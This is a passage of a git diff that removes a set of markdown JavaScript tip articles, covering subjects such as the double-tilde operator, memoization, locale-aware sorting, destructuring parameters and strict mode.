-    };
-}
-
-var myThing = new Thing();
-```
-
-Let's check it out. A quick console.log reveals all:
-
-```js
-console.log(myThing);
-/*
-  Object {three: 3, four: 4}
-  What happened to this.one and this.two!?
-  They've been stomped, my friend.
-*/
-```
-
-**Here's where we learn:** When you invoke a function with the `new` keyword, you can set properties on it using the keyword `this` (but you probably already knew that). Returning a primitive value from a function you called with the `new` keyword will not return the value you specified, but instead will return the `this` instance of the function (the one you put properties on, like `this.one = 1;`).
-
-However, returning a non-primitive, like an `object`, `array`, or `function` will stomp on the `this` instance, and return that non-primitive instead, effectively ruining all the hard work you did assigning everything to `this`.
diff --git a/docs/content/dated/roundingthefastway.md b/docs/content/dated/roundingthefastway.md
deleted file mode 100644
index 6f3cd15bde..0000000000
--- a/docs/content/dated/roundingthefastway.md
+++ /dev/null
@@ -1,111 +0,0 @@
--   /en/rounding-the-fast-way/
-
-This tip is about performance...with a hidden price tag.
-
-Have you ever come across the [double tilde `~~` operator](http://stackoverflow.com/questions/5971645/what-is-the-double-tilde-operator-in-javascript)? It's also often called the "double bitwise NOT" operator. You can often use it as a faster substitute for `Math.trunc()`. Why is that?
-
-One bitwise shift `~` first truncates `input` to 32 bits, then transforms it into `-(input+1)`. The double bitwise shift therefore transforms the input into `-(-(input + 1)+1)` making it a great tool to round towards zero. For numeric input, it therefore mimics `Math.trunc()`. On failure, `0` is returned, which might come in handy sometimes instead of `Math.trunc()`, which returns `NaN` on failure.
-
-```js
-// single ~
-console.log(~1337); // -1338
-
-// numeric input
-console.log(~~47.11); // -> 47
-console.log(~~1.9999); // -> 1
-console.log(~~3); // -> 3
-```
-
-However, while `~~` is probably a better performer, experienced programmers often stick with `Math.trunc()` instead. To understand why, here's a clinical view on this operator.
-
-### INDICATIONS
-
-##### When every CPU cycle counts
-
-`~~` is probably faster than `Math.trunc()` across the board, though you should [test that assumption](https://jsperf.com/jsfvsbitnot/10) on whichever platforms matter to you. Also, you'd generally have to perform millions of such operations to have any visible impact at run time.
-
-##### When code clarity is not a concern
-
-If you're trying to confuse others, or get maximum utility from your minifier/uglifier, this is a relatively cheap way to do it.
-
-### CONTRAINDICATIONS
-
-##### When your code needs to be maintained
-
-Code clarity is of great importance in the long term, whether you work in a team, contribute to public code repos, or fly solo. As [the oft-quoted saying](http://c2.com/cgi/wiki?CodeForTheMaintainer) goes:
-
-> Always code as if the person who ends up maintaining your code is a violent psychopath who knows where you live.
-
-For a solo programmer, that psychopath is inevitably "you in six months".
-
-##### When you forget that `~~` always rounds to zero
-
-Newbie programmers may fixate on the cleverness of `~~`, forgetting the significance of "just drop the fractional portion of this number". This can easily lead to **fencepost errors** (a.k.a. "off-by-one") when transforming floats to array indices or related ordinal values, where a different kind of fractional rounding may actually be called for. (Lack of code clarity usually contributes to this problem.)
-
-For instance, if you're counting numbers on a "nearest integer" basis, you should use `Math.round()` instead of `~~`, but programmer laziness and the impact of **_10 whole characters saved per use_** on human fingers often triumph over cold logic, leading to incorrect results.
-
-In contrast, the very names of the `Math.xyz()` functions clearly communicate their effect, reducing the probability of accidental errors.
-
-##### When dealing with large-magnitude numbers
-
-Because `~` first does a 32-bit conversion, `~~` results in bogus values around &plusmn;2.15 billion. If you don't properly range-check your input, a user could trigger unexpected behavior when the transformed value ends up being a great distance from the original:
-
-```js
-a = 2147483647.123; // maximum positive 32-bit integer, plus a bit more
-console.log(~~a); // ->  2147483647     (ok)
-a += 10000; // ->  2147493647.123 (ok)
-console.log(~~a); // -> -2147483648     (huh?)
-```
-
-One particularly vulnerable area involves dealing with Unix epoch timestamps (measured in seconds from 1 Jan 1970 00:00:00 UTC). A quick way to get such values is:
-
-```js
-epoch_int = ~~(+new Date() / 1000); // Date() epochs in milliseconds, so we scale accordingly
-```
-
-However, when dealing with timestamps after 19 Jan 2038 03:14:07 UTC (sometimes called the **Y2038 limit**), this breaks horribly:
-
-```js
-// epoch timestamp for 1 Jan 2040 00:00:00.123 UTC
-epoch = +new Date('2040-01-01') / 1000 + 0.123; // ->  2208988800.123
-
-// back to the future!
-epoch_int = ~~epoch; // -> -2085978496
-console.log(new Date(epoch_int * 1000)); // ->  Wed Nov 25 1903 17:31:44 UTC
-
-// that was fun, now let's get real
-epoch_flr = Math.floor(epoch); // ->  2208988800
-console.log(new Date(epoch_flr * 1000)); // ->  Sun Jan 01 2040 00:00:00 UTC
-```
-
-##### When the original input wasn't sanitized
-
-Because `~~` transforms every non-number into `0`:
-
-```js
-console.log(~~[]); // -> 0
-console.log(~~NaN); // -> 0
-console.log(~~null); // -> 0
-```
-
-some programmers treat it as alternative to proper input validation. However, this can lead to strange logic bugs down the line, since you're no longer distinguishing between invalid inputs and actual `0` values. This is therefore _not_ a recommended practice.
-
-##### When so many people think `~~X == Math.floor(X)`
-
-Most people who write about "double bitwise NOT" incorrectly equate it with `Math.floor()` for some reason. If you can't write about it accurately, odds are good you'll eventually misuse it.
-
-Others are more careful to mention `Math.floor()` for positive inputs and `Math.ceil()` for negative ones, but that forces you to stop and think about the values you're dealing with. This defeats the purpose of `~~` as a handy no-gotchas shortcut.
-
-### DOSAGE
-
-Avoid where possible. Use sparingly otherwise.
-
-### ADMINISTRATION
-
-1. Apply cautiously.
-2. Sanitize values before applying.
-3. Carefully document relevant assumptions about the values being transformed.
-4. Review code to deal with, at minimum:
-    - logic bugs where invalid inputs are instead passed to other code modules as valid `0` values
-    - range errors on transformed inputs
-    - fencepost errors due to incorrect rounding direction
diff --git a/docs/content/dated/safestringconcatenation.md b/docs/content/dated/safestringconcatenation.md
deleted file mode 100644
index 5fe3f6820b..0000000000
--- a/docs/content/dated/safestringconcatenation.md
+++ /dev/null
@@ -1,25 +0,0 @@
--   /en/safe-string-concatenation/
-
-Suppose you have a couple of variables with unknown types and you want to concatenate them in a string. To be sure that the arithmetical operation is not be applied during concatenation, use `concat`:
-
-```js
-var one = 1;
-var two = 2;
-var three = '3';
-
-var result = ''.concat(one, two, three); //"123"
-```
-
-This way of concatenting does exactly what you'd expect. In contrast, concatenation with pluses might lead to unexpected results:
-
-```js
-var one = 1;
-var two = 2;
-var three = '3';
-
-var result = one + two + three; //"33" instead of "123"
-```
-
-Speaking about performance, compared to the `join` [type](http://www.sitepoint.com/javascript-fast-string-concatenation/) of concatenation, the speed of `concat` is pretty much the same.
-
-You can read more about the `concat` function on MDN [page](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/concat).
diff --git a/docs/content/dated/shortcircuitevaluationinjs.md b/docs/content/dated/shortcircuitevaluationinjs.md
deleted file mode 100644
index bc476c82c7..0000000000
--- a/docs/content/dated/shortcircuitevaluationinjs.md
+++ /dev/null
@@ -1,71 +0,0 @@
--   /en/short-circuit-evaluation-in-js/
-
-[Short-circuit evaluation](https://en.wikipedia.org/wiki/Short-circuit_evaluation) says, the second argument is executed or evaluated only if the first argument does not suffice to determine the value of the expression: when the first argument of the AND (`&&`) function evaluates to false, the overall value must be false; and when the first argument of the OR (`||`) function evaluates to true, the overall value must be true.
-
-For the following `test` condition and `isTrue` and `isFalse` function.
-
-```js
-var test = true;
-var isTrue = function () {
-    console.log('Test is true.');
-};
-var isFalse = function () {
-    console.log('Test is false.');
-};
-```
-
-Using logical AND - `&&`.
-
-```js
-// A normal if statement.
-if (test) {
-    isTrue(); // Test is true
-}
-
-// Above can be done using '&&' as -
-
-test && isTrue(); // Test is true
-```
-
-Using logical OR - `||`.
-
-```js
-test = false;
-if (!test) {
-    isFalse(); // Test is false.
-}
-
-test || isFalse(); // Test is false.
-```
-
-The logical OR could also be used to set a default value for function argument.
-
----
-
-```js
-function theSameOldFoo(name) {
-    name = name || 'Bar';
-    console.log("My best friend's name is " + name);
-}
-theSameOldFoo(); // My best friend's name is Bar
-theSameOldFoo('Bhaskar'); // My best friend's name is Bhaskar
-```
-
-The logical AND could be used to avoid exceptions when using properties of undefined.
-Example:
-
-```js
-var dog = {
-    bark: function () {
-        console.log('Woof Woof');
-    }
-};
-
-// Calling dog.bark();
-dog.bark(); // Woof Woof.
-
-// But if dog is not defined, dog.bark() will raise an error "Cannot read property 'bark' of undefined."
-// To prevent this, we can use &&.
-
-dog && dog.bark(); // This will only call dog.bark(), if dog is defined.
-```
diff --git a/docs/content/dated/shuffleanarray.md b/docs/content/dated/shuffleanarray.md
deleted file mode 100644
index 1e54c11acf..0000000000
--- a/docs/content/dated/shuffleanarray.md
+++ /dev/null
@@ -1,27 +0,0 @@
--   /en/shuffle-an-array/
-
-This snippet here uses [Fisher-Yates Shuffling](https://www.wikiwand.com/en/Fisher%E2%80%93Yates_shuffle) Algorithm to shuffle a given array.
-
----
-
-```js
-function shuffle(arr) {
-    var i, j, temp;
-    for (i = arr.length - 1; i > 0; i--) {
-        j = Math.floor(Math.random() * (i + 1));
-        temp = arr[i];
-        arr[i] = arr[j];
-        arr[j] = temp;
-    }
-    return arr;
-}
-```
-
-An example:
-
-```js
-var a = [1, 2, 3, 4, 5, 6, 7, 8];
-var b = shuffle(a);
-console.log(b);
-// [2, 7, 8, 6, 5, 3, 1, 4]
-```
diff --git a/docs/content/dated/sortingstringswithaccentedcharacters.md b/docs/content/dated/sortingstringswithaccentedcharacters.md
deleted file mode 100644
index b656619fa9..0000000000
--- a/docs/content/dated/sortingstringswithaccentedcharacters.md
+++ /dev/null
@@ -1,57 +0,0 @@
-tip-writer-support: https://www.coinbase.com/loverajoel
-
--   /en/sorting-strings-with-accented-characters/
-
-Javascript has a native method **[sort](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort)** that allows sorting arrays. Doing a simple `array.sort()` will treat each array entry as a string and sort it alphabetically. Also you can provide your [own custom sorting](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/sort#Parameters) function.
-
-```js
-['Shanghai', 'New York', 'Mumbai', 'Buenos Aires'].sort();
-// ["Buenos Aires", "Mumbai", "New York", "Shanghai"]
-```
-
-But when you try order an array of non ASCII characters like this `['é', 'a', 'ú', 'c']`, you will obtain a strange result `['c', 'e', 'á', 'ú']`. That happens because sort works only with the English language.
-
-See the next example:
-
-```js
-// Spanish
-['único', 'árbol', 'cosas', 'fútbol'].sort();
-// ["cosas", "fútbol", "árbol", "único"] // bad order
-
-// German
-['Woche', 'wöchentlich', 'wäre', 'Wann'].sort();
-// ["Wann", "Woche", "wäre", "wöchentlich"] // bad order
-```
-
-Fortunately, there are two ways to overcome this behavior [localeCompare](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/localeCompare) and [Intl.Collator](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Collator) provided by ECMAScript Internationalization API.
-
-> Both methods have their own custom parameters in order to configure it to work adequately.
-
-### Using `localeCompare()`
-
-```js
-['único', 'árbol', 'cosas', 'fútbol'].sort(function (a, b) {
-    return a.localeCompare(b);
-});
-// ["árbol", "cosas", "fútbol", "único"]
-
-['Woche', 'wöchentlich', 'wäre', 'Wann'].sort(function (a, b) {
-    return a.localeCompare(b);
-});
-// ["Wann", "wäre", "Woche", "wöchentlich"]
-```
-
-### Using `Intl.Collator()`
-
-```js
-['único', 'árbol', 'cosas', 'fútbol'].sort(Intl.Collator().compare);
-// ["árbol", "cosas", "fútbol", "único"]
-
-['Woche', 'wöchentlich', 'wäre', 'Wann'].sort(Intl.Collator().compare);
-// ["Wann", "wäre", "Woche", "wöchentlich"]
-```
-
--   For each method you can customize the location.
--   According to [Firefox](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/localeCompare#Performance) Intl.Collator is faster when comparing large numbers of strings.
-
-So when you are working with arrays of strings in a language other than English, remember to use this method to avoid unexpected sorting.
diff --git a/docs/content/dated/speeduprecursivefunctionswithmemoization.md b/docs/content/dated/speeduprecursivefunctionswithmemoization.md
deleted file mode 100644
index cbd7f07d4b..0000000000
--- a/docs/content/dated/speeduprecursivefunctionswithmemoization.md
+++ /dev/null
@@ -1,79 +0,0 @@
--   /en/speed-up-recursive-functions-with-memoization/
-
-Fibonacci sequence is very familiar to everybody. We can write the following function in 20 seconds.
-
-```js
-var fibonacci = function (n) {
-    return n < 2 ? n : fibonacci(n - 1) + fibonacci(n - 2);
-};
-```
-
-It works, but is not efficient. It did lots of duplicate computing works, we can cache its previously computed results to speed it up.
-
-```js
-var fibonacci = (function () {
-    var cache = [0, 1]; // cache the value at the n index
-    return function (n) {
-        if (cache[n] === undefined) {
-            for (var i = cache.length; i <= n; ++i) {
-                cache[i] = cache[i - 1] + cache[i - 2];
-            }
-        }
-        return cache[n];
-    };
-})();
-```
-
-Also, we can define a higher-order function that accepts a function as its argument and returns a memoized version of the function.
-
-```js
-var memoize = function (func) {
-    var cache = {};
-    return function () {
-        var key = JSON.stringify(Array.prototype.slice.call(arguments));
-        return key in cache ? cache[key] : (cache[key] = func.apply(this, arguments));
-    };
-};
-fibonacci = memoize(fibonacci);
-```
-
-And this is an ES6 version of the memoize function.
-
-```js
-var memoize = function (func) {
-    const cache = {};
-    return (...args) => {
-        const key = JSON.stringify(args);
-        return key in cache ? cache[key] : (cache[key] = func(...args));
-    };
-};
-fibonacci = memoize(fibonacci);
-```
-
-we can use `memoize()` in many other situations
-
--   GCD(Greatest Common Divisor)
-
-```js
-var gcd = memoize(function (a, b) {
-    var t;
-    if (a < b) (t = b), (b = a), (a = t);
-    while (b != 0) (t = b), (b = a % b), (a = t);
-    return a;
-});
-gcd(27, 183); //=> 3
-```
-
--   Factorial calculation
-
-```js
-var factorial = memoize(function (n) {
-    return n <= 1 ? 1 : n * factorial(n - 1);
-});
-factorial(5); //=> 120
-```
-
-Learn more about memoization:
-
--   [Memoization - Wikipedia](https://en.wikipedia.org/wiki/Memoization)
--   [Implementing Memoization in JavaScript](https://www.sitepoint.com/implementing-memoization-in-javascript/)
diff --git a/docs/content/dated/tappingforquickdebugging.md b/docs/content/dated/tappingforquickdebugging.md
deleted file mode 100644
index 6cccf6c1bc..0000000000
--- a/docs/content/dated/tappingforquickdebugging.md
+++ /dev/null
@@ -1,73 +0,0 @@
-tip-md-link: https://github.com/loverajoel/jstips/blob/master/_posts/en/javascript/2017-03-16-tapping-for-quick-debugging.md
-
----
-
-This little beastie here is tap. A really useful function for quick-debugging
-chains of function calls, anonymous functions and, actually, whatever you just
-want to print.
-
----
-
-```js
-function tap(x) {
-    console.log(x);
-    return x;
-}
-```
-
-Why would you use instead of good old `console.log`? Let me show you an example:
-
-```js
-bank_totals_by_client(bank_info(1, banks), table)
-    .filter((c) => c.balance > 25000)
-    .sort((c1, c2) => (c1.balance <= c2.balance ? 1 : -1))
-    .map((c) => console.log(`${c.id} | ${c.tax_number} (${c.name}) => ${c.balance}`));
-```
-
-Now, suppose you're getting nothing from this chain (possibly an error).
-Where is it failing? Maybe `bank_info` isn't returning anything, so we'll tap it:
-
-```js
-bank_totals_by_client(tap(bank_info(1, banks)), table);
-```
-
-Depending on our particular implementation, it might print something or not.
-I'll assume the information that we got from our tapping was correct and
-therefore, bank_info isn't causing anything.
-
-We must then move on to the next chain, filter.
-
-```js
-            .filter(c => tap(c).balance > 25000)
-```
-
-Are we receiving any c's (clients actually)? If so, then bank_totals_by_client
-works alright. Maybe it's the condition within the filter?
-
-```js
-            .filter(c => tap(c.balance > 25000))
-```
-
-Ah! Sweet, we see nothing but `false` printed, so there's no client with >25000,
-that's why the function was returning nothing.
-
-## (Bonus) A more advanced tap.
-
----
-
-```js
-function tap(x, fn = (x) => x) {
-    console.log(fn(x));
-    return x;
-}
-```
-
-Now we're talking about a more advanced beast, what if we wanted to perform a
-certain operation _prior_ to tapping? i.e, we want to access a certain object
-property, perform a logical operation, etc. with our tapped object? Then we
-call old good tap with an extra argument, a function to be applied at the moment
-of tapping.
-
-```js
-tap(3, (x) => x + 2) === 3; // prints 5, but expression evaluates to true, why :-)?
-```
diff --git a/docs/content/dated/templatestrings.md b/docs/content/dated/templatestrings.md
deleted file mode 100644
index ca57248c4e..0000000000
--- a/docs/content/dated/templatestrings.md
+++ /dev/null
@@ -1,35 +0,0 @@
--   /en/template-strings/
-
-As of ES6, JS now has template strings as an alternative to the classic end quotes strings.
-
-Ex:
-Normal string
-
-```js
-var firstName = 'Jake';
-var lastName = 'Rawr';
-console.log('My name is ' + firstName + ' ' + lastName);
-// My name is Jake Rawr
-```
-
-Template String
-
-```js
-var firstName = 'Jake';
-var lastName = 'Rawr';
-console.log(`My name is ${firstName} ${lastName}`);
-// My name is Jake Rawr
-```
-
-You can do multi-line strings without `\n`, perform simple logic (ie 2+3) or even use the [ternary operator](https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Operators/Conditional_Operator) inside `${}` in template strings.
-
-```js
-var val1 = 1,
-    val2 = 2;
-console.log(`${val1} is ${val1 < val2 ? 'less than' : 'greater than'} ${val2}`);
-// 1 is less than 2
-```
-
-You are also able to modify the output of template strings using a function; they are called [tagged template strings](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/template_strings#Tagged_template_strings) for example usages of tagged template strings.
-
-You may also want to [read](https://hacks.mozilla.org/2015/05/es6-in-depth-template-strings-2) to understand template strings more.
diff --git a/docs/content/dated/threeuseful.md b/docs/content/dated/threeuseful.md
deleted file mode 100644
index 17da304190..0000000000
--- a/docs/content/dated/threeuseful.md
+++ /dev/null
@@ -1,50 +0,0 @@
--   /en/three-useful-hacks/
-
----
-
-#### Getting array items from behind to front
-
-If you want to get the array items from behind to front, just do this:
-
-```js
-var newArray = [1, 2, 3, 4];
-
-console.log(newArray.slice(-1)); // [4]
-console.log(newArray.slice(-2)); // [3, 4]
-console.log(newArray.slice(-3)); // [2, 3, 4]
-console.log(newArray.slice(-4)); // [1, 2, 3, 4]
-```
-
-#### Short-circuits conditionals
-
-If you have to execute a function just if a condition is `true`, like this:
-
-```js
-if (condition) {
-    dosomething();
-}
-```
-
-You can use a short-circuit just like this:
-
-```js
-condition && dosomething();
-```
-
-#### Set variable default values using "||"
-
-If you have to set a default value to variables, you can simple do this:
-
-```js
-var a;
-
-console.log(a); //undefined
-
-a = a || 'default value';
-
-console.log(a); //default value
-
-a = a || 'new value';
-
-console.log(a); //default value
-```
diff --git a/docs/content/dated/tiptomeasureperformanceofajavascript.md b/docs/content/dated/tiptomeasureperformanceofajavascript.md
deleted file mode 100644
index d7618023ee..0000000000
--- a/docs/content/dated/tiptomeasureperformanceofajavascript.md
+++ /dev/null
@@ -1,24 +0,0 @@
--   /en/tip-to-measure-performance-of-a-javascript-block/
-
-For quickly measuring performance of a javascript block, we can use the console functions like
-[`console.time(label)`](https://developer.chrome.com/devtools/docs/console-api#consoletimelabel) and [`console.timeEnd(label)`](https://developer.chrome.com/devtools/docs/console-api#consoletimeendlabel)
-
-```js
-console.time('Array initialize');
-var arr = new Array(100),
-    len = arr.length,
-    i;
-
-for (i = 0; i < len; i++) {
-    arr[i] = new Object();
-}
-console.timeEnd('Array initialize'); // Outputs: Array initialize: 0.711ms
-```
-
-More info:
-[Console object](https://github.com/DeveloperToolsWG/console-object),
-[Javascript benchmarking](https://mathiasbynens.be/notes/javascript-benchmarking)
-
-Demo: [jsfiddle](https://jsfiddle.net/meottb62/) - [codepen](http://codepen.io/anon/pen/JGJPoa) (outputs in browser console)
-
-> Note: As [Mozilla](https://developer.mozilla.org/en-US/docs/Web/API/Console/time) suggested don't use this for production sites, use it for development purposes only.
diff --git a/docs/content/dated/twowaystoemptyan.md b/docs/content/dated/twowaystoemptyan.md
deleted file mode 100644
index 69efd162fb..0000000000
--- a/docs/content/dated/twowaystoemptyan.md
+++ /dev/null
@@ -1,51 +0,0 @@
--   /en/two-ways-to-empty-an-array/
-
-You define an array and want to empty its contents.
-Usually, you would do it like this:
-
-```js
-// define Array
-var list = [1, 2, 3, 4];
-function empty() {
-    //empty your array
-    list = [];
-}
-empty();
-```
-
-But there is another way to empty an array that is more performant.
-
-You should use code like this:
-
-```js
-var list = [1, 2, 3, 4];
-function empty() {
-    //empty your array
-    list.length = 0;
-}
-empty();
-```
-
--   `list = []` assigns a reference to a new array to a variable, while any other references are unaffected.
-    which means that references to the contents of the previous array are still kept in memory, leading to memory leaks.
-
--   `list.length = 0` deletes everything in the array, which does hit other references.
-
-In other words, if you have two references to the same array (`a = [1,2,3]; a2 = a;`), and you delete the array's contents using `list.length = 0`, both references (a and a2) will now point to the same empty array. (So don't use this technique if you don't want a2 to hold an empty array!)
-
-Think about what this will output:
-
-```js
-var foo = [1, 2, 3];
-var bar = [1, 2, 3];
-var foo2 = foo;
-var bar2 = bar;
-foo = [];
-bar.length = 0;
-console.log(foo, bar, foo2, bar2);
-
-// [] [] [1, 2, 3] []
-```
-
-Stackoverflow more detail:
-[difference-between-array-length-0-and-array](http://stackoverflow.com/questions/4804235/difference-between-array-length-0-and-array)
diff --git a/docs/content/dated/use_===_instead_of_==.md b/docs/content/dated/use_===_instead_of_==.md
deleted file mode 100644
index f78c11997d..0000000000
--- a/docs/content/dated/use_===_instead_of_==.md
+++ /dev/null
@@ -1,18 +0,0 @@
--   /en/use*===\_instead_of*==/
-
-The `==` (or `!=`) operator performs an automatic type conversion if needed. The `===` (or `!==`) operator will not perform any conversion. It compares the value and the type, which could be considered faster ([jsPref](http://jsperf.com/strictcompare)) than `==`.
-
-```js
-[10] ==  10      // is true
-[10] === 10      // is false
-
-'10' ==  10      // is true
-'10' === 10      // is false
-
- []  ==  0       // is true
- []  === 0       // is false
-
- ''  ==  false   // is true but true == "a" is false
- ''  === false   // is false
-
-```
diff --git a/docs/content/dated/usedestructuringinfunction.md b/docs/content/dated/usedestructuringinfunction.md
deleted file mode 100644
index b445a900bd..0000000000
--- a/docs/content/dated/usedestructuringinfunction.md
+++ /dev/null
@@ -1,87 +0,0 @@
--   /en/use-destructuring-in-function-parameters/
-
-I am sure many of you are already familiar with the [ES6 Destructuring Assignment](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Destructuring_assignment). Did you know that you can also use it in function parameters?
-
-```js
-var sayHello = function ({ name, surname }) {
-    console.log(`Hello ${name} ${surname}! How are you?`);
-};
-
-sayHello({ name: 'John', surname: 'Smith' });
-// -> Hello John Smith! How are you?
-```
-
-This is great for functions which accept an options object. For this use case, you can also add [default parameters](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters) to fill in whatever values the caller leaves out, or if the caller forgets to pass one at all:
-
-```js
-var sayHello2 = function ({ name = 'Anony', surname = 'Moose' } = {}) {
-    console.log(`Hello ${name} ${surname}! How are you?`);
-};
-```
-
-The `= {}` says that the default object to be destructured for this parameter is `{}`, in case the caller forgets to pass the parameter, or passes one of the wrong type (more on this below).
-
-```js
-sayHello2();
-// -> Hello Anony Moose! How are you?
-sayHello2({ name: 'Bull' });
-// -> Hello Bull Moose! How are you?
-```
-
-##### Argument Handling
-
-With plain destructuring assignment, if the the input parameter can't be matched with the function's specified object arguments, all the unmatched arguments are `undefined`, so you need to add code that handles this properly:
-
-```js
-var sayHelloTimes = function ({ name, surname }, times) {
-    console.log(`Hello ${name} ${surname}! I've seen you ${times} times before.`);
-};
-
-sayHelloTimes({ name: 'Pam' }, 5678);
-// -> Hello Pam undefined! I've seen you 5678 times before.
-sayHelloTimes(5678);
-// -> Hello undefined undefined! I've seen you undefined times before.
-```
-
-Worse, if the parameter to be destructured is missing, an exception is thrown, probably bringing your app to a screeching halt:
-
-```js
-sayHelloTimes();
-// -> Uncaught TypeError: Cannot match against 'undefined' or 'null'...
-```
-
-It's conceptually similar to accessing a property of an undefined object, just with a different exception type.
-
-Destructuring assignment with default parameters hides all the above to a certain extent:
-
-```js
-var sayHelloTimes2 = function ({ name = 'Anony', surname = 'Moose' } = {}, times) {
-    console.log(`Hello ${name} ${surname}! I've seen you ${times} times before.`);
-};
-
-sayHelloTimes2({ name: 'Pam' }, 5678);
-// -> Hello Pam Moose! I've seen you 5678 times before.
-sayHelloTimes2(5678);
-// -> Hello Anony Moose! I've seen you undefined times before.
-sayHelloTimes2();
-// -> Hello Anony Moose! I've seen you undefined times before.
-```
-
-As for `= {}`, it covers the case of a missing _object_, for which individual property defaults won't help at all:
-
-```js
-var sayHelloTimes2a = function ({ name = 'Anony', surname = 'Moose' }, times) {
-    console.log(`Hello ${name} ${surname}! I've seen you ${times} times before.`);
-};
-
-sayHelloTimes2a({ name: 'Pam' }, 5678);
-// -> Hello Pam Moose! I've seen you 5678 times before.
-sayHelloTimes2a(5678);
-// -> Hello Anony Moose! I've seen you undefined times before.
-sayHelloTimes2a();
-// -> Uncaught TypeError: Cannot match against 'undefined' or 'null'.
-```
-
-##### Availability
-
-Note that destructuring assignment may not yet be available by default, in the version of Node.js or browser that you're using. For Node.js, you can try using the `--harmony-destructuring` flag on startup to activate this feature.
diff --git a/docs/content/dated/useoptional.md b/docs/content/dated/useoptional.md
deleted file mode 100644
index 053223b822..0000000000
--- a/docs/content/dated/useoptional.md
+++ /dev/null
@@ -1,82 +0,0 @@
--   /en/use-optional-arguments/
-
----
-
-Example function where arguments 2 and 3 are optional
-
----
-
-```js
-function example(err, optionalA, optionalB, callback) {
-    // retrieve arguments as array
-    var args = new Array(arguments.length);
-    for (var i = 0; i < args.length; ++i) {
-        args[i] = arguments[i];
-    }
-
-    // first argument is the error object
-    // shift() removes the first item from the
-    // array and returns it
-    err = args.shift();
-
-    // if last argument is a function then its the callback function.
-    // pop() removes the last item in the array
-    // and returns it
-    if (typeof args[args.length - 1] === 'function') {
-        callback = args.pop();
-    }
-
-    // if args still holds items, these are
-    // your optional items which you could
-    // retrieve one by one like this:
-    if (args.length > 0) optionalA = args.shift();
-    else optionalA = null;
-    if (args.length > 0) optionalB = args.shift();
-    else optionalB = null;
-
-    // continue as usual: check for errors
-    if (err) {
-        return callback && callback(err);
-    }
-
-    // for tutorial purposes, log the optional parameters
-    console.log('optionalA:', optionalA);
-    console.log('optionalB:', optionalB);
-    console.log('callback:', callback);
-
-    /* do your thing */
-}
-
-// ES6 with shorter, more terse code
-function example(...args) {
-    // first argument is the error object
-    const err = args.shift();
-    // if last argument is a function then its the callback function
-    const callback = typeof args[args.length - 1] === 'function' ? args.pop() : null;
-
-    // if args still holds items, these are your optional items which you could retrieve one by one like this:
-    const optionalA = args.length > 0 ? args.shift() : null;
-    const optionalB = args.length > 0 ? args.shift() : null;
-    // ... repeat for more items
-
-    if (err && callback) return callback(err);
-
-    /* do your thing */
-}
-
-// invoke example function with and without optional arguments
-
-example(null, 'AA');
-
-example(null, function (err) {
-    /* do something */
-});
-
-example(null, 'AA', function (err) {});
-
-example(null, 'AAAA', 'BBBB', function (err) {});
-```
-
-### How do you determine if optionalA or optionalB is intended?
-
-Design your function to require optionalA in order to accept optionalB
diff --git a/docs/content/dated/usestrictandget.md b/docs/content/dated/usestrictandget.md
deleted file mode 100644
index 9b784e9e3b..0000000000
--- a/docs/content/dated/usestrictandget.md
+++ /dev/null
@@ -1,55 +0,0 @@
--   /en/use-strict-and-get-lazy/
-
-Strict-mode JavaScript makes it easier for the developer to write "secure" JavaScript.
-
-By default, JavaScript allows the programmer to be pretty careless, for example, by not requiring us to declare our variables with "var" when we first introduce them. While this may seem like a convenience to the unseasoned developer, it's also the source of many errors when a variable name is misspelled or accidentally referred to out of its scope.
-
-Programmers like to make the computer do the boring stuff for us, and automatically check our work for mistakes. That's what the JavaScript "use strict" directive allows us to do, by turning our mistakes into JavaScript errors.
-
-We add this directive either by adding it at the top of a js file:
-
-```js
-// Whole-script strict mode syntax
-'use strict';
-var v = "Hi!  I'm a strict mode script!";
-```
-
-or inside a function:
-
----
-
-```js
-function f() {
-    // Function-level strict mode syntax
-    'use strict';
-    function nested() {
-        return 'And so am I!';
-    }
-    return "Hi!  I'm a strict mode function!  " + nested();
-}
-function f2() {
-    return "I'm not strict.";
-}
-```
-
-By including this directive in a JavaScript file or function, we will direct the JavaScript engine to execute in strict mode which disables a bunch of behaviors that are usually undesirable in larger JavaScript projects. Among other things, strict mode changes the following behaviors:
-
--   Variables can only be introduced when they are preceded with "var"
--   Attempting to write to read-only properties generates a noisy error
--   You have to call constructors with the "new" keyword
--   "this" is not implicitly bound to the global object
--   Very limited use of eval() allowed
--   Protects you from using reserved words or future reserved words as variable names
-
-Strict mode is great for new projects, but can be challenging to introduce into older projects that don't already use it in most places. It also can be problematic if your build chain concatenates all your js files into one big file, as this may cause all files to execute in strict mode.
-
-It is not a statement, but a literal expression, ignored by earlier versions of JavaScript.
-Strict mode is supported in:
-
--   Internet Explorer from version 10.
--   Firefox from version 4.
--   Chrome from version 13.
--   Safari from version 5.1.
--   Opera from version 12.
-
-[See MDN for a fuller description of strict mode](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Strict_mode).
diff --git a/docs/content/dated/usingjson.md b/docs/content/dated/usingjson.md
deleted file mode 100644
index 418068e64c..0000000000
--- a/docs/content/dated/usingjson.md
+++ /dev/null
@@ -1,53 +0,0 @@
--   /en/using-json-stringify/
-
-Let's say there is an object with properties "prop1", "prop2", "prop3".
-We can pass **additional params** to **JSON.stringify** to selectively write properties of the object to string like:
-
-```js
-var obj = {
-    prop1: 'value1',
-    prop2: 'value2',
-    prop3: 'value3'
-};
-
-var selectedProperties = ['prop1', 'prop2'];
-
-var str = JSON.stringify(obj, selectedProperties);
-
-// str
-// {"prop1":"value1","prop2":"value2"}
-```
-
-The **"str"** will contain only info on selected properties only.
-
-Instead of array we can pass a function also.
-
----
-
-```js
-function selectedProperties(key, val) {
-    // the first val will be the entire object, key is empty string
-    if (!key) {
-        return val;
-    }
-
-    if (key === 'prop1' || key === 'prop2') {
-        return val;
-    }
-
-    return;
-}
-```
-
-The last optional param it takes is to modify the way it writes the object to string.
-
-```js
